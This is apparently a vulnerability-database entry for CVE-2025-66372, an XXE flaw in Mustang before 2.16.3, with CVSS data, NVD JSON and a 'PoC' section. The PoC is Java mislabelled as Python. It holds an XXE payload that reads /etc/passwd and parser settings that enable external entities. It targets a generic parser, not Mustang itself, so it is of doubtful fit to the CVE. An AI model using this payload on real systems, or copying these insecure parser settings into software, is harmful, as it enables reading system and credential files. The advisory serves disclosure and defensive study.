Security Vulnerability Report
中文
CVE-2025-66372 CVSS 2.8 LOW

CVE-2025-66372

Published: 2025-11-28 04:16:01
Last Modified: 2026-04-15 00:35:42

Description

Mustang before 2.16.3 allows exfiltrating files via XXE attacks.

CVSS Details

CVSS Score
2.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Mustang < 2.16.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.DocumentBuilder; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NodeList; public class xxe_poc { public static void main(String[] args) { try { // Malicious XML with XXE payload String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" + "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>" + "<root>" + "<data>&xxe;</data>" + // Reference to external entity "</root>"; // Vulnerable configuration (before fix) DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false); factory.setFeature("http://xml.org/sax/features/external-general-entities", true); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", true); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(new java.io.ByteArrayInputStream(maliciousXml.getBytes())); // Extract and display file content NodeList nodeList = doc.getElementsByTagName("data"); if (nodeList.getLength() > 0) { System.out.println("File content exfiltrated:"); System.out.println(nodeList.item(0).getTextContent()); } } catch (Exception e) { e.printStackTrace(); } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66372", "sourceIdentifier": "[email protected]", "published": "2025-11-28T04:16:01.470", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mustang before 2.16.3 allows exfiltrating files via XXE attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 2.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/ZUGFeRD/mustangproject/issues/685", "source": "[email protected]"}, {"url": "https://github.com/ZUGFeRD/mustangproject/pull/725", "source": "[email protected]"}, {"url": "https://github.com/ZUGFeRD/mustangproject/releases/tag/core-2.16.3", "source": "[email protected]"}]}}